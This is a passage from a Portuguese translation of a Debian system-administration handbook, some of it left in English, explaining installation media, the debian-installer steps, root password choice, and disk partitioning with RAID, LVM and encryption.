patibilidade ótima com o software fornecido com o Debian.
O arquivo sources.list geralmente é um bom indicador: a maioria dos administradores man-
tem, pelo menos comentada, a lista de fontes APT anteriormente usadas. Mas você não deve
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esquecer que fontes usadas no passado podem ter sido apagadas, e que alguns pacotes podem
ter sido baixados da internet e instalados manualmente (com o comando dpkg). Neste caso, a
máquina não é tão ”Debian padrão” quanto parece. É por isso que você deve prestar atenção em
indicações de presença de pacotes externos (surgimento de arquivos deb em diretórios estra-
nhos, números de versão com um sufixo especial in:dicando que é originado de fora do projeto
Debian, como um ubuntu ou Imde, etc.)
Da mesma forma, é interessante analizar o conteúdo da diretório /usr/local/, que deve con-
ter os programas compilados e instalados manualmente. Listar os programas instalados desta
maneira é instrutivo, já que se questiona o porque de não se ter usado o pacote Debian corres-
pondente, se este existir.

OLHADA RÁPIDA

cruft

O pacote cruft se propõe a lista os arquivos disponíveis que não são de propriedade
de nenhum pacote. Ele tem alguns filtros (mais ou menos efetivos, e mais ou me-
nos atualizados) para evitar botar no relatório alguns arquivos legítimos (arquivos
gerados por pacotes Debian, ou arquivos de configuração gerados não-controlados
pelo dpkg, etc.).

Cuidado para não apagar arbitrariamente tudo que o cruft venha a listar!

3.2.4. Instalando o Debian

Com toda a informação no servidor atual agora conhecida, podemos desligá-lo e começar a ins-
talar o Debian nele.
Para escolher a versão apropriada, devemos conhecer a arquitetura do computador. Se for um
PC relativamente novo, é provável que seja um amd64 (PCs mais antigos normalmente são i386).
Caso contrário, podemos restringir as possibilidades de acordo com o sistema usado anterior-
mente.
Tabela 3.1 não pretende ser exaustiva, mas útil. de qualquer forma, a documentação original do
computador é a fonte mais confiável para encontrar esta informação.

o HARDWARE dos PCs de
64 bit vs 32 bit

Computadores mais novos tem processadores Intel ou AMD de 64 bits, compatíveis
com os antigos processadores de 32 bits; o software compilado para arquitetura
“i386” então funciona. Por outro lado, este modo de compatibilidade não explora
completamente as capacidades destes novos processadores. É por isto que oDebian
fornece a arquitetura amd64, que funciona com chips AMD recentes. Assim como
processadores “em64t” da Intel (incluindo a maioria da série Core), que são muito
similares aos processadores AMD64.

3.2.5. Instalando e Configurando os Serviços Selecionados

Depois do Debian instalado, devemos instalar e configurar um a um os serviços que o computa-
dor vai hospedar. A nova configuração deve levar em consideração a anterior para garantir uma
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Sistema Operacional Arquitetura(s)
DEC Unix (OSF/1) alpha, mipsel
HP Unix ia64, hppa
IBM AIX powerpc
Irix mips
OS X amd64, powerpc, i386
z/OS, MVS s390x, s390
Solaris, SunOS sparc, i386, m68k
Ultrix mips
VMS alpha
Windows 95/98/ME i386
Windows NT/2000 i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 i386, amd64, ia64
Windows RT armel, armhf, arm64
Windows Vista / Windows 7-8-10 i386, amd64

Tabela 3.1 Arquitetura e respectivo sistema operacional

transição suave. Toda a informação coletada nos primeiros dois passos será útil para completar
com sucesso esta parte.

Figura 3.3 Instalar os serviços selecionados

Antes de pular de cabeça neste exercício, é fortemente recomendado que você leia o restante
deste livro. Depois disto, você terá um conhecimento mais preciso de como configurar os servi-
ços esperados.
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Para utilizar o Debian, você precisa instalá-lo em um computador; esta tarefa é feita pelo programa
debian-installer. Uma instalação correta envolve muitas operações. Este capítulo revisa as mesmas em
ordem cronológica.



DE VOLTA AO BÁSICO

Um curso rápido no
apêndice

Instalar um computador é sempre mais simples quando você está familiarizado
com seu funcionamento. Se você não está, faça um desvio rápido para Apêndice B,
Curso Rápido de Reparação [467] antes de ler este capítulo.

The installer for Stretch is based on debian-installer. Its modular design enables it to work in
various scenarios and allows it to evolve and adapt to changes. Despite the limitations implied
by the need to support a large number of architectures, this installer is very accessible to begin-
ners, since it assists users at each stage of the process. Automatic hardware detection, guided
partitioning, and graphical user interfaces have solved most of the problems that newbies used
to face in the early years of Debian.
Installation requires 128 MB of RAM (Random Access Memory) and at least 2 GB of hard drive
space. All Falcot computers meet these criteria. Note, however, that these figures apply to the
installation of a very limited systemwithout a graphical desktop. Aminimum of 512 MB of RAM
and 10 GB of hard drive space are really recommended for a basic office desktop workstation.

BEWARE

Upgrading from Jessie
If you already have Debian Jessie installed on your computer, this chapter is not for
you! Unlike other distributions, Debian allows updating a system from one version
to the next without having to reinstall the system. Reinstalling, in addition to
being unnecessary, could even be dangerous, since it could remove already installed
programs.

O processo de atualização será descrito em Seção 6.6, “Atualizando de uma Versão
Estável para a Próxima” [128].

4.1. Métodos de Instalação

Um sistema Debian pode ser instalado a partir de diversos tipos de mídia, desde que a BIOS da
máquina permita. Você pode exemplo inicializar com um CD-ROM, um pendrive, ou até mesmo
pela rede.

DE VOLTA AO BÁSICO

BIOS, a interface do
hardware/programa

BIOS (sigla de Basic Input/Output System) é um software que é incluído na placa
mãe (A placa eletrônica que conecta todos os periféricos) e é executado quando o
computador liga, para carregar um sistema operacional (via um gerenciador de boot
adaptado). Ele roda nos bastidores para fornecer uma interface entre o hardware
e o software (no nosso caso, o núcleo do Linux).

4.1.1. Instalando a partir do CD-ROM/DVD-ROM

Ométodo mais amplamente usado para a instalação é a partir do CD-ROM (ou DVD-ROM, que se
comporta exatamente igual): o computador é inicializado a partir desta mídia e o programa de
instalação toma o controle.
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Various CD-ROM families have different purposes: netinst (network installation) contains the
installer and the base Debian system; all other programs are then downloaded. Its “image”, that
is the ISO-9660 filesystem that contains the exact contents of the disk, only takes up about 150
to 280 MB (depending on architecture). On the other hand, the complete set offers all packages
and allows for installation on a computer that has no Internet access; it requires around 14 DVD-
ROMs (or 3 Blu-ray disks). There is nomore official CD-ROMs set as theywere really huge, rarely
used and now most of the computers use DVD-ROMs as well as CD-ROMs. But the programs are
divided among the disks according to their popularity and importance; the first disk will be
sufficient for most installations, since it contains the most used softwares.
Existe um último tipo de imagem, conhecido como mini.iso, que está disponível apenas como
um ”subproduto” do instalador. A imagem apenas contém o mínimo necessário para confi-
gurar a rede e todo o resto é baixado (incluindo as partes do próprio instalador, o que ex-
plica o porque dessas imagens tenderem a falhar quando uma nova versão do instalador é lan-
çada). essas imagens podem ser encontradas nos espelhos normais do Debian sob o diretório
dists/lançamento/main/installer-arch/current/images/netboot/.

DICA

Discos multi-arquiteturas
A maioria dos CD- e DVD-ROMs trabalham somente com uma arquitetura especí-
fica. Se você deseja baixar a imagens completas, você deve se preocupar em esco-
lher aquelas que funcionam com o hardware do computador no qual você pretende
instalá-las.

Some CD/DVD-ROM images can work on several architectures. We thus have a
CD-ROM image combining the netinst images of the i386 and amd64 architectu-
res.

To acquire Debian CD-ROM images, you may of course download them and burn them to disk.
Youmay also purchase them, and, thus, provide the projectwith a little financial support. Check
the website to see the list of DVD-ROM image vendors and download sites.
è http://www.debian.org/CD/index.html

4.1.2. Iniciando a partir de um pendrive

Como a maioria dos computadores são capazes de inicializar a partir de dispositivos USB, você
pode também instalar oDebian apartir deumpendriveUSB (issonadamais é doqueumpequeno
disco de memória flash).
O manual de instalação explica como criar um dispositivo USB que contenha o
debian-installer (instalador debian). O procedimento é bastante simples porque ima-
gens ISO para as arquiteturas i386 e amd64 agora são imagens híbridas que podem inicializar a
partir de um CD-ROM ou de um dispositivo USB.
You must first identify the device name of the USB key (ex: /dev/sdb); the simplest means to do
this is to check the messages issued by the kernel using the dmesg command. Then you must
copy the previously downloaded ISO image (for example debian-9.0.0-amd64-netinst.iso) with
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the command cat debian-9.0.0-amd64-netinst.iso >/dev/sdb; sync. This command re-
quires administrator rights, since it accesses the USB key directly and blindly erases its content.
Uma explicação mais detalhada está disponível no manual de instalação. Entre outras coisas,
ele descreve ummétodo alternativo de preparar uma ”USB key” que é mais complexo, mas que
permite personalizar as opções padrão do instalador (aquelas configuradas na linha de comando
do kernel).
è http://www.debian.org/releases/stable/amd64/ch04s03.html

4.1.3. Instalando via inicialização pela rede

Muitas BIOS permitem iniciar diretamente da rede baixando um kernel e uma imagem de sis-
tema de arquivos mínima. Este método (que tem muitos nomes, tal como inicialização PXE ou
TFTP) pode ser um salva-vidas se o computador não tem um leitor de CD-ROM, ou se a BIOS não
pode iniciar por outros meios.
Este método de instalação funciona em dois passos. Primeiro, quando iniciando o computador,
a BIOS (ou a placa de rede) envia um pedido BOOTP/DHCP para automaticamente adquirir um
endereço IP. Quando um servidor BOOTP ou DHCP retorna uma resposta, ele inclui um nome de
arquivo, assim como configurações de rede. Depois da rede configurada, o computador cliente
envia um pedido TFTP (Trivial File Transfer Protocol) para um arquivo cujo nome foi previa-
mente indicado. Quando o arquivo é recebido, ele é executado como se estivesse num carrega-
dor de inicialização (”bootloader”). Ele então lança o instalador Debian, que é executado como
se estivesse num disco, CD-ROM ou ”USB key”.
Todos os detalhes deste método estão disponíveis no guia de instalação (seção “Preparando os
arquivos para Inicialização em Rede com TFTP”).
è http://www.debian.org/releases/stable/amd64/ch05s01.html#boot-tftp

è http://www.debian.org/releases/stable/amd64/ch04s05.html

4.1.4. Outros métodos de instalação

Whenwe have to deploy customized installations for a large number of computers, we generally
choose an automated rather than amanual installationmethod. Depending on the situation and
the complexity of the installations to be made, we can use FAI (Fully Automatic Installer, descri-
bed in Seção 12.3.1, “Instalador Completamente Automático (FAI)” [358]), or even a customized
installation DVD with preseeding (see Seção 12.3.2, “Preseeding Debian-Installer” [359]).
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4.2. Instalando, Passo a Passo

4.2.1. Ligando e iniciando o Instalador

Uma vez que a BIOS começou a iniciar do CD- ou DVD-ROM, o menu do carregador de boot
Isolinux aparecerá. Neste ponto, o kernel do Linux ainda não está carregado; estemenu permite
escolher o kernel para iniciar e passar parâmetros possíveis para serem transferidos a ele no
processo.
For a standard installation, you only need to choose “Install” or “Graphical install” (with the
arrow keys), then press the Enter key to initiate the remainder of the installation process. If the
DVD-ROM is a “Multi-arch” disk, and the machine has an Intel or AMD 64 bit processor, those
menu options enable the installation of the 64 bit variant (amd64) and the installation of the 32
bit variant remains available in a dedicated sub-menu (“32-bit install options”). If you have a
32 bit processor, you don’t get a choice and the menu entries install the 32 bit variant (i386).

SE APROFUNDANDO

32 ou 64 bits?
A diferença fundamental entre sistemas de 32 e 64 bits é o tamanho dos endereços
de memória. Teoricamente, um sistema de 32 bits não pode trabalhar com mais de
4 GB de RAM (232 bytes). Na prática, é possível contornar essa limitação usando a
variante do núcleo chamada 686-pae, se o processador entende a funcionalidade
PAE (Physical Address Extension). Entretando, usar este recurso traz um grande
impacto no desempenho do sistema. É por isso que é útil para usar o modo de 64
bits num servidor com uma grande quantidade de RAM.

Para um computador de escritório (onde uns poucos porcentos de diferença na
performance é despresível), você deve ter em mente que alguns programas proprie-
tários não estão disponíveis em versões de 64 bits (como o Skype, por exemplo). É
tecnicamente possível fazê-los funcionar em sistemas de 64 bits, mas você terá que
instalar as versões de 32 bits com todas bibliotecas necessárias (veja Seção 5.4.5,
“Suporte Multi-Arqu” [98]), e às vezes usar setarch ou linux32 (no pacote util-
linux) para enganar as aplicações quanto à netureza do sistema.

NA PRÁTICA

Instalação lado a lado
com um sistema Windows

Se o computador já roda Windows, não precisa removê-lo para instalar o Debian.
Você pode ter ambos os sistemas juntos, cada um instalado num disco ou partição
separados, e escolher qual iniciar quando der boot no computador. Este configu-
ração é conhecida como duplo boot (“dual boot”), e o sistema de instalação do
Debian pode configurar isto. Isto é feito durante o estágio de particionamento do
disco rígido e durante a configuração do carregador de boot (veja as barras laterais
diminuindo uma partição do Windows [64] and Carregador de boot e dual boot
[70] ).

Se você já tem um sistema Windows em funcionamento, você pode evitar gastar
um CD-ROM; O Debian oferece um programa Windows que irá baixar um insta-
lador leve do Debian e configurá-lo no disco rígido. Você somente precisará então
reiniciar o computador e escolher entre inicializar normalmente o Windows ou ini-
cializar o programa de instalação. Você também pode encontrá-lo em uma página
web dedicada que tem um nome bem intuitivo…

è http://ftp.debian.org/debian/tools/win32-loader/stable/

è http://www.goodbye-microsoft.com/
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DE VOLTA AO BÁSICO

Carregador de
inicialização

O carregador de inicialização é um programa de baixo nível que é responsável por
inicializar o kernel Linux logo após a BIOS passar para ele o controle. Para realizar
esta tarefa, ele deve ser capaz de localizar o kernel Linux para inicializar no disco.
Nas arquiteturas i386 e amd64, os dois programas mais utilizados para realizar
esta tarefa são o LILO, o mais velho dos dois, e o GRUB, seu substituto moderno.
Isolinux e Syslinux são alternativas frequentemente utilizadas para inicializar de
mídias removíveis.

Cada opção do menu esconde uma linha de comando de inicialização específica, que pode ser
configurada conforme a necessidade ao pressionar a tecla TAB antes de validar a opção e inicia-
lizar. A opção ”Ajuda” do menu mostra a antiga interface de linha de comando, onde as teclas
F1 a F10 exibem diferentes telas de ajuda detalhando as várias opções disponíveis no terminal.
Você raramente irá utilizar esta opção, exceto em casos muito específicos.
O modo ”avançado” (acessível no menu ”Opções avançadas”) detalha todas as opções possíveis
no processo de instalação, e possibilita a navegação entre os vários passos sem que eles acon-
teçam automaticamente em sequência. Seja cuidadoso, este modo muito detalhado pode ser
confuso devido as muitas opções de configuração que ele oferece.

Figura 4.1 Tela de inicialização

Once booted, the installation program guides you step by step throughout the process. This
section presents each of these steps in detail. Here we follow the process of an installation
from an amd64 DVD-ROM (more specifically, the rc3 version of the installer for Stretch); netinst
installations, as well as the final release of the installer, may look slightly different. We will
also address installation in graphical mode, but the only difference from “classic” (text-mode)
installation is in the visual appearance.
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4.2.2. Selecionando o idioma

O programa de instalação começa em inglês, mas o primeiro passo permite ao usuário escolher o
idioma que será usado no resto do processo. Escolher o português do Brasil, por exemplo, forne-
cerá uma instalação totalmente traduzida para o português do Brasil (e um sistema configurado
emportuguês como resultado). Esta escolha também é usada para definir opções de padrãomais
relevantes nas fases subsequentes (principalmente o layout de teclado).

DE VOLTA AO BÁSICO

Navegando com o teclado
Alguns passos no processo de instalação requerem que você entre com informações.
Estas telas temmuitas áreas que podem ”ter foco” (áreas de entrada de texto, caixas
de seleção, lista de escolhas, botões OK e Cancelar), e a tecla TAB permite que você
mova de uma para outra.

No modo gráfico, você pode usar o mouse como usaria normalmente em um insta-
lador gráfico de desktop.

Figura 4.2 Selecionando o idioma

4.2.3. Selecionando o país

O segundo passo consiste em escolher seu país. Combinado com o idioma, esta informação pos-
sibilita ao programa oferecer o padrão de teclado mais apropriado. Isto também influencia a
configuração do fuso horário. Nos Estados Unidos, o padrão de teclado QWERTY é sugerido, e
uma opção com os fuso horários adequados é oferecida.
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Figura 4.3 Selecionando o país

4.2.4. Selecionando o padrão do teclado

O teclado ”Inglês Americano” corresponde ao padrão QWERTY usual.

Figura 4.4 Escolha do teclado

4.2.5. Detectando o Hardware

Este passo é completamente automático na vasta maioria dos casos. O instalador detecta seu
hardware e tenta identificar o dispositivo de CD-ROM utilizado para acessar seu conteúdo. Ele
carrega os módulos correspondentes aos vários componentes de hardware detectados e então
”monta” o CD-ROMpara lê-lo. Os passos anteriores estavamcompletamente contidos na imagem
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de inicialização incluída no CD, um arquivo de tamanho limitado e carregado na memória pela
BIOS ao inicializar do CD.
O instalador pode trabalhar com a vasta maioria dos dispositivos, especialmente periféricos
ATAPI (algumas vezes chamados IDE e EIDE). Entretanto, se a detecção do leitor de CD-ROM
falha, o instalador oferece a escolha de carregar um módulo do núcleo (por exemplo de um dis-
positivo USB) correspondendo ao driver de CD-ROM.

4.2.6. Carregando componentes

Com os conteúdos do CD agora disponíveis, o instalador carrega todos os arquivos necessários
para continuar seu trabalho. Isso inclui drivers adicionais para os dispositivos restantes (espe-
cialmente a placa de rede), assim como todos os componentes do programa de instalação.

4.2.7. Detectando Dispositivos de Rede

Este passo automático tenta identificar a placa de rede e carregar omódulo correspondente. Se a
detecção automática falha, você pode selecionarmanualmente omódulo a carregar. Se nenhum
módulo funciona, é possível carregar um módulo específico de um dispositivo removível. Esta
última solução geralmente só é necessária se o driver apropriado não está incluído no kernel
Linux padrão, mas disponível em outro lugar, como a página web do fabricante.
Este passo deve definitivamente obter sucesso para as instalações netinst, já que os pacotes De-
bian devem ser carregados da rede.

4.2.8. Configurando a Rede

Para automatizar o processo tanto quanto possível, o instalador tenta configurar uma configu-
ração automática de rede por descoberta de rede DHCP (para IPv4) e por IPv6. Se isso falhar, ele
oferece mais opções: tentar de novo com uma configuração DHCP normal, tentando uma confi-
guração DHCP declarando o nome da máquina, ou definir uma configuração de rede estática.
Esta última opção requer um endereço IP, uma máscara de sub-rede, um endereço IP para um
possível gateway, um nome de máquina, e um nome de domínio.

DICA

Configuração sem DHCP
Se a rede local é equipada com um servidor DHCP que você não deseja utilizar
porque você prefere definir um endereço IP estático para a máquina durante a ins-
talação, você pode adicionar a opção netcfg/use_dhcp=false ao inicializar de um
CD-ROM. Você somente precisa ir para a opção desejada do menu pressionando a
tecla TAB e adicionar a opção desejada antes de pressionar a tecla Enter.

ATENÇÃO

Não improvise
Muitas redes locais são baseadas em uma suposição implícita que todas as má-
quinas são confiáveis, e configurações inadequadas de um único computador irão
frequentemente perturbar toda a rede. Como resultado, não conecte sua máquina

57Capítulo 4 — Instalação



em uma rede sem primeiramente consultar o administrador sobre as configurações
apropriadas (por exemplo, o endereço IP, máscara de rede e endereços de broad-
cast).

4.2.9. Senha do administrador

A conta do superusuário root, reservada para o administrador da máquina, é automaticamente
criada durante a instalação. É por isto que uma senha é pedida.O instalador também pede por
uma confirmação da senha para prevenir qualquer erro de digitação que poderia ser difícil de
corrigir posteriormente.

Figura 4.5 Senha do administrador

SEGURANÇA

Senha do administrador
A senha do usuário root deve ser longa (8 caracteres ou mais) e impossível de adi-
vinhar. De fato, qualquer computador (e com mais razão qualquer servidor) co-
nectado a internet é regularmente alvo de tentativas de conexões automatizadas
com as senhas mais óbvias. Algumas vezes ele ainda pode ser alvo de ataques de
dicionário, em que várias combinações de palavras e números são testadas como
senhas. Evite usar nomes de filhos ou pais, datas de nascimento, etc.: muitos de
seus colegas de trabalho podem conhecê-lo e você raramente quer dar a eles livre
acesso ao computador em questão.

Estas observações são igualmente aplicáveis para senhas de outros usuários, mas
as consequências de uma conta comprometida são menos drásticas para usuários
sem privilégios administrativos.

Se estiver faltando inspiração, não hesite em usar geradores de senha, como o
pwgen (no pacote de mesmo nome).
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4.2.10. Criando o Primeiro Usuário

O Debian também impõe a criação de uma conta de usuário padrão para que o administrador
não adquira o mau hábito de trabalhar como root. O princípio da precaução, essencialmente,
significa que cada tarefa é executada com os privilégios mínimos necessários, a fim de limitar os
danos causados por erro humano. Por isso, o instalador vai pedir o nome completo do usuário
primeiro, seu nome de usuário e sua senha (duas vezes, para evitar o risco de entrada errada).

Figura 4.6 Nome do primeiro usuário

4.2.11. Configurando o relógio

Se a rede estiver disponível, o relógio interno do sistema é atualizado (uma única vez) a partir de
um servidor NTP. Desse modo, os registros de tempo nos relatórios estarão corretos desde a pri-
meira inicialização. Para que eles permaneçam consistentemente precisos ao longo do tempo,
um serviço (daemon)NTPprecisa ser configurado após a instalação inicial (veja Seção 8.9.2, “Sin-
cronização de Tempo” [178]).

4.2.12. Detectando Discos e Outros Dispositivos

Este passo automaticamente detecta os discos rígidos nos quais o Debian pode ser instalado. Eles
serão apresentados no próximo passo: particionamento.
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4.2.13. Iniciando a Ferramenta de Partição

CULTURA

Usos do particionamento
O particionamento, um passo indispensável na instalação, consiste em dividir o
espaço disponível nos discos rígidos (cada subdivisão sendo chamada de ”partição”)
de acordo com os dados armazenados neles e a utilização para a qual se pretende
utilizar o computador. Este passo também inclui escolher os sistemas de arquivos a
serem utilizados. Todas estas decisões terão influência na performance, segurança
de dados e na administração do servidor.

O passo de particionamento é tradicionalmente difícil para novos usuários. É necessário defi-
nir as várias porções dos discos (ou ”partições”) em que os sistemas de arquivos do Linux e a
memória virtual (área de troca) serão armazenados. Esta tarefa é complicada se outro sistema
operacional que você queira manter já está na máquina. De fato, você terá que ter certeza de
não alterar as partições dele (ou que você redimensione elas sem causar danos).
Felizmente, o programa de particionamento tem um modo ”guiado” que recomenda partições
para o usuário fazer - na maioria dos casos, você pode simplesmente validar as sugestões do
programa.

Figura 4.7 Escolha do modo de particionamento

The first screen in the partitioning tool offers the choice of using an entire hard drive to create
various partitions. For a (new) computer which will solely use Linux, this option is clearly the
simplest, and you can choose the option “Guided - use entire disk”. If the computer has two hard
drives for two operating systems, setting one drive for each is also a solution that can facilitate
partitioning. In both of these cases, the next screen offers to choose the disk where Linux will
be installed by selecting the corresponding entry (for example, “SCSI3 (0,0,0) (sda) - 17.2 GB ATA
VBOX HARDDISK”). You then start guided partitioning.
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Figura 4.8 Disco a utilizar para particionamento guiado

Assistente de particionamento também pode criar volumes lógicos LVM em vez de partições
(veja abaixo). Uma vez que o restante da operação é o mesmo, não vamos passar por cima da
opção ”Guiado - usar o disco inteiro e configurar LVM” (criptografado ou não).
Em outros casos, quando o Linux deve trabalhar ao lado de outras partições já existentes, você
precisa escolher o particionamento manual.

Particionamento assistido

A ferramenta de particionamento guiada oferece três métodos de particionamento, que corres-
pondem a diferentes usos.
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Figura 4.9 Particionamento assistido

O primeiro método é chamado de ”Todos os arquivos em uma partição”. Toda a árvore do sis-
tema Linux são armazenados em um único sistema de arquivos, o que corresponde ao diretório
raiz /. Este particionamento simples e robusto se encaixa perfeitamente para sistemas pesso-
ais ou de um único usuário. Na verdade, serão criadas duas partições: a primeira vai abrigar o
sistema completo, a segunda a memória virtual (swap).
O segundo método, “Partição /home/ separada”, é similar, mas divide a hierarquia de diretórios
emdois: uma partição contémo sistema Linux (/), e a segunda contémos “diretórios de usuário”
(ou seja, os dados dos usuários, arquivos e subdiretórios disponíveis em /home/).
O último método de particionamento, chamado “partições /home, /var e /tmp separadas”, é
apropriado para servidores e sistemasmulti-usuário. Ele divide a árvore de diretórios em várias
partições: Além das partições raiz (/) e de contas de usuários (/home/), também tem partições
para dados de software servidor (/var/) e arquivos temporários (/tmp/). Estas divisões têm
várias vantagens. Os usuários não podem travar o servidor consumindo todo o espaço disponível
no disco rígido (eles só podem lotar o /tmp/ e o /home/). Os dados dos daemons (especialmente
os logs) já não podem paralisar o resto do sistema.

DE VOLTA AO BÁSICO

Escolhendo um sistema
de arquivos

A filesystem defines theway inwhich data is organized on the hard drive. Each exis-
ting filesystem has its merits and limitations. Some are more robust, others more
effective: if you know your needs well, choosing the most appropriate filesystem is
possible. Various comparisons have already been made; it seems that ReiserFS is
particularly efficient for reading many small files; XFS, in turn, works faster with
large files. Ext4, the default filesystem for Debian, is a good compromise, based on
the three previous versions of filesystems historically used in Linux (ext, ext2 and
ext3). Ext4 overcomes certain limitations of ext3 and is particularly appropriate for
very large capacity hard drives. Another option would be to experiment with the
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very promising btrfs, which includes numerous features that require, to this day,
the use of LVM and/or RAID.

Os sistemas de arquivos com recurso de journaling ”diário” (como ext3, ext4, btrfs,
reiserfs ou xfs) tomam medidas especiais para ser possível retornar a um estado
consistente após uma interrupção abrupta, sem analisar completamente o disco
inteiro (como era o caso com o ext2). Isto é possível através do preenchimento de
um ”journal” que descreve as operações para realizar antes de realmente executá-
las. Se uma operação for interrompida, irá ser possível ”repetir” a partir do ”journal”.
Por outro lado, se ocorrer uma interrupção durante uma atualização do ”journal”,
a última alteração solicitada é simplesmente ignorada; os dados a serem escritos
podem ser perdidos, mas uma vez que os dados sobre o disco não mudaram, eles
permaneceram coerentes. Isso não é nada além de um mecanismo transacional
aplicada ao sistema de arquivos.

Depois de escolher o tipo de partição, o software calcula uma sugestão, e a descreve na tela; o
usuário pode, então, modificá-la, se necessário. Você pode, em particular, escolher um outro
sistema de arquivos se a escolha padrão (ext4) não é apropriada. Na maioria dos casos, no en-
tanto, o particionamento proposto é razoável e pode ser aceito selecionando a opção ”Finalizar
o particionamento e escrever as mudanças no disco”.

Figura 4.10 Validando o particionamento

Particionamento manual

Particionamento manual permite uma maior flexibilidade, permitindo que o usuário escolha a
finalidade e o tamanho de cada partição. Além disso, este modo é inevitável, se você quiser usar
o software RAID.
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NA PRÁTICA

diminuindo uma partição
do Windows

Para instalar o Debian ao lado de um sistema operacional existente (Windows ou
outro), você deve ter algum espaço disponível no disco rígido que não está sendo
usado por outro sistema, a fim de ser capaz de criar as partições dedicadas ao
Debian. Na maioria dos casos, isso significa diminuir uma partição do Windows e
reutilizando o espaço liberado.

O instalador do Debian permite esta operação quando utilizar o modomanual para
o particionamento. Você só precisa escolher a partição do Windows e digite seu
novo tamanho (isso funciona da mesma forma em partições FAT ou NTFS).

A primeira tela exibe os discos disponíveis, suas partições e qualquer espaço livre possível que
ainda não foi particionado. Você pode selecionar qualquer elemento exibido; e se pressionar a
tecla Enter depois vai ter uma lista de possíveis ações.
Você pode apagar todas as partições em um disco, selecionando-o.
Ao selecionar espaço livre em um disco, você pode criar manualmente uma nova partição. Você
também pode fazer isso com o assistente de particionamento, que é uma solução interessante
para um disco que já contenha outro sistema operacional, mas onde você deseja particionar
para o Linux de uma forma padrão. Veja Seção 4.2.13.1, “Particionamento assistido” [61] for
more details on guided partitioning.

DE VOLTA AO BÁSICO

Ponto de montagem
O ponto demontagem é a árvore de diretório que vai abrigar o conteúdo do sistema
de arquivos na partição seleccionada. Assim, uma partição montada em /home/ é
tradicionalmente destinada a conter dados do usuário.

Quando esse diretório é chamado de ”/”, ele é conhecido como a raiz do sistema
de arquivos e, portanto, a raiz da partição que vai realmente hospedar o sistema
Debian.

DE VOLTA AO BÁSICO

Memória virtual, swap
A memória virtual permite que o kernel do Linux, quando falta memória suficiente
(RAM), libere um pouco de armazenamento, realocando na partição swap do disco
rígido as partes da memória RAM inativas por algum tempo.

Para simular a memória adicional, o Windows usa um arquivo de swap que está
diretamente contido em um sistema de arquivos. Por outro lado, o Linux usa uma
partição dedicada a este propósito, daí o termo ”partição swap”.

Ao escolher uma partição, você pode indicar a forma como que você vai utilizá-la:

• formatá-la e incluí-la no sistema de arquivos escolhendo um ponto de montagem;
• usá-la como uma partição swap;
• transformá-la emum”volume físico para encriptação” (para proteger a confidencialidade
dos dados em determinadas partições, veja abaixo);

• torná-lo um ”volume físico para LVM” (”physical volume for LVM”) (este conceito será
discutido em detalhes ainda neste capítulo);

• use ele como um dispositivo RAID (veja mais a frente neste capítulo);
• você pode também escolher não usá-lo, e portanto deixá-lo inalterado.
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Configurando dispositivos Multidisco (RAID em software)

Alguns tipos deRAIDpermitemaduplicação de informações armazenadas emdiscos rígidos para
evitar perda de dados no caso de um problema de hardware afetando um dos discos. RAID nível
1 mantém uma cópia idêntica e simples (espelho) de um disco rígido em outro, enquanto RAID
nível 5 espalha dados redundantes por vários discos, permitindo assim a completa reconstrução
de um dispositivo que falhe.
Vamos apenas descrever RAID nível 1, que é o mais simples de implementar. O primeiro passo
envolve a criação de duas partições de mesmo tamanho localizadas em dois discos rígidos dife-
rentes, e a rotulação delas como ”volume físico para RAID” (”physical volume for RAID”).
Você deve então escolher ”Configurar RAID via software” na ferramenta de particionamento
para combinar essas duas partições em um novo disco virtual e selecione ”Criar dispositivo MD”
na tela de configuração. Em seguida, você precisa responder a uma série de perguntas sobre
este novo dispositivo. A primeira pergunta é sobre o nível de RAID para usar, que no nosso caso
será ”RAID1”. A segunda pergunta é sobre o número de dispositivos ativos - dois, no nosso caso,
que é o número de partições que precisa ser incluído neste dispositivo MD. A terceira pergunta
é sobre o número de dispositivos disponíveis - 0; não planejamos qualquer disco adicional para
assumir um possível disco defeituoso. A última pergunta requer que você escolha as partições
para o RAID - estes seriam os dois que temos reservado para esta finalidade (certifique-se apenas
de selecionar as partições que mencionam explicitamente ”raid”).
Voltar ao menu principal, aparece um novo disco virtual ”RAID”. Este disco é apresentado com
uma única partição que não pode ser excluído, mas cujo uso, podemos escolher (assim como em
qualquer outra partição).
Para mais detalhes sobre as funções RAID, consulte Seção 12.1.1, “RAID Por Software” [318].

Configurando o Gerenciador de Volume Lógico (Logical Volume Manager - LVM)

LVM permite criar partições ”virtuais” que se estendem ao longo de vários discos. Os benefícios
são dois: o tamanho das partições não estão limitados pelos discos individuais, mas pelo seu
volume cumulativo, e você pode redimensionar as partições existentes a qualquer momento
possivelmente depois de adicionarum disco adicional quando necessário.
LVM usa uma terminologia particular: uma partição em particular é um ”volume lógico” (”logi-
cal volume”), que é parte de um ”grupo de volumes” (”volume group”), ou uma associação de
vários ”volumes físicos” (physical volumes”). Cada um destes termos na verdade correspondem
a uma partição ”real” (ou um dispositivo de RAID em software).
Esta técnica funciona de uma forma simples: cada volume, físico ou lógico, é dividido em blocos
de mesmo tamanho, que ”are made to correspond” pelo LVM. A adição de um novo disco cau-
sará a criação de um novo volume físico, e estes novos blocos podem ser associados a qualquer
grupo de volumes. Todas as partições no grupo de volumes que é então expandido terão espaço
adicional no qual elas poderão se extender.
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A ferramenta de particionamento configura o LVM em vários passos. Primeiro você deve criar
nos discos existentes as partições que serão ”volumes físicos para o LVM”. Para ativar o LVM,
você precisa escolher ”Configurar o Logical Volume Manager (LVM)”, então na mesma tela de
configuração ”Criar um grupo de volumes”, para o qual você irá associar os volumes físicos exis-
tentes. Finalmente, você pode criar volumes lógicos dentro do grupo de volume. Note que o
sistema de particionamento automático pode realizar todos estes passos automaticamente.
No menu de particionamento, cada volume lógico vai aparecer como um disco com uma única
partição que não pode ser apagada, mas que você pode usar da forma que desejar.
O uso de LVM é descrito em mais detalhes em Seção 12.1.2, “LVM” [329].

Configurando Partições Criptografadas

Para garantir a confidencialidade dos seus dados, por exemplo no caso de uma perda ou roubo
de seu computador ou disco rígido, é possível criptografar os dados de algumas partições. Esta
funcionalidade pode ser inserida em qualquer sistema de arquivos já que, assim como no LVM, o
Linux (emais particularmente o driver dm-crypt) usa o ”DeviceMapper” para criar umapartição
virtual (com o conteúdo protegido) baseado em uma partição num nível abaixo que armazena
os dados de forma criptografada (graças ao LUKS, Linux Unified Key Setup, um formato padro-
nizado que habilita o armazenamento de dados cripgrafados assim como de meta-informações
que indicam os algoritmos de criptografia usados).

SEGURANÇA

Partição de troca (”swap”)
criptografada

